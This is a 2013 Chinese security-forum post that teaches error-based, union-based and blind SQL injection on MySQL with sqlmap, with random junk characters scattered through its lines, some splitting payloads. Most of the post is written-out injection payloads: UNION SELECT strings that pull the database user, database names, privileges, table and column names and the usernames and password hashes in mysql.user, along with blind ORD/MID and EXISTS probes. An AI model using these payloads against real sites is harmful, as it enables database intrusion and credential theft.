找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2221|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
" _/ ~  V# S. S+ e% t) V
" v; Y! e) u7 M: P# [这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
1 [  m: t# P: ? ( N$ [' U* l  ]. n- V& L0 K
分类标准        分类        备注& L; G  ~# Y; a0 w+ _  {
按字段类型        整型注入,字符型注入       
0 h) \* ]+ O1 f0 \" y- z1 R9 `- K按出现的位置        get注入,post注入,cookie注入,http header注入        2 A5 l: U) v5 @: r8 D1 o0 y+ i9 f
然而高级注入是这样的! r8 P- T/ r& F" p6 ~

3 |1 A$ J$ q9 u' H9 _# ^$ B" |高级注入分类        条件
0 }5 s/ J4 }* w+ Lerror-based sql        数据库的错误回显可以返回,存在数据库,表结构
" }2 \- |. \! ~2 X  ^union-based sql        能够使用union,存在数据库,表结构: W, v- y. b8 V& O% V* L& j, ^
blind sql        存在注入. q( Z* A3 D3 p! J0 z; X5 P; [
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
. o' A4 Q+ @7 G5 K) ]
  t! G0 R- S/ o# _) v8 X好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
1 D5 U. t+ ~) f# z
  i4 |5 n7 |5 h9 z. X4 t附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
  l5 B( ]! ?* y! F
4 b8 n3 l0 [% \+ Z这里用mysql说明
3 p& V+ }" f' t9 w/ `' n, J" _ $ n, ^) C6 Y4 \. j' \6 p- N
e注入坛子里很多了,请看戳我或者再戳我) l& B: @! _& w6 Y
% a/ t  ?1 G5 N! R
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
' g7 A5 K9 B( S8 w( e+ F- ]3 Q: a $ {+ O, T+ b; P: M$ F7 H
获取当前数据库用户名
3 ?8 y( `4 M/ x4 a$ o$ q# [5 D
: r0 X5 k, g3 ~# t0 n7 k+ w  VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C. S3 n6 K5 {* h% v: {7 r; X
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
7 ?8 k" n/ r  E& x6 UL, NULL#
: p; Y) s) k) U' G- X2 n; n2 y注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。- y0 l. d) _( _
7 V2 k! ]6 f1 S! N0 ^
获取数据库名
$ G) h. D; ?0 V
- |, f  S* ^; s6 z- z  n3 |UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
0 c- c" M  w/ p* Y: J& ?" h/ s! j获取所有用户名
; I: }  N$ K2 l' O+ p 0 n$ r% m7 x7 p9 y  ]
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
/ z( e4 \+ \- T. G9 w1 Z- ]2 a查看当前用户权限
! Q) P$ x! Y& q8 R. x + E# _- U& }- i, m
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#6 H; m. ?0 ?, s4 J% Y+ Z$ \/ y
尝试获取密码,当然需要有能读mysql数据库的权限+ b" o' h4 E% z- @+ Y
& ~8 K% l- Q3 ]7 ]/ p
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user## f! f: v/ r1 u4 @
获取表名,limit什么的自己搞啦3 z; S. C: [+ B. F

  F& W7 I9 ~9 n) XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
8 M; |2 E: H, @% J& a0 H获取字段名及其类型  i6 M9 f6 M, z6 }& @, {' a
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#) Y: u2 B: }. H, u

) o) o8 y( P% F6 eb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
4 n' k( Z2 Y, g0 q
: J6 s! ?% g; r* _; A如:  @5 u4 Y  w8 c% m2 x2 W# u
获取当前用户名
! S, K# x$ S) f: H3 x
0 x/ h3 }4 o( h' A' q& OAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116& u3 j' H, w" u0 `+ F5 @) u
获取当前数据库8 H2 M1 N2 Z/ [2 N% Z  V

4 j8 c% A( |0 `5 e; T' `AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
$ G% t  }- [2 y. {获取表名
  A: d2 e+ T/ [8 q, k+ L % t  _; \* W% _( p8 p5 ^7 i
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 512 `% r+ T4 u' G# K
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
1 g8 p0 ?) U. L, A回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
0 [) s  z7 t2 T/ h! E爆表
1 ?5 ~8 l0 A: s! a, L) h 9 h9 x0 H9 \) z7 _
AND EXISTS(select * from table)9 q/ r1 y5 C+ q4 W) J: n2 v( ]
爆字段2 H4 d7 J5 \! P& X# Q/ q, _  I
/ d- L" q# A1 t$ H, _- I' F/ k
AND EXISTS(select pwd from table)" I0 [3 G4 F/ p$ P$ Q, E
盲注的变化就比较多了,由于篇幅,只是举个例子而已。" b* d/ P+ s/ J
1 w) I9 \, ]4 q; H
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。# S3 G) T, e% V- c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表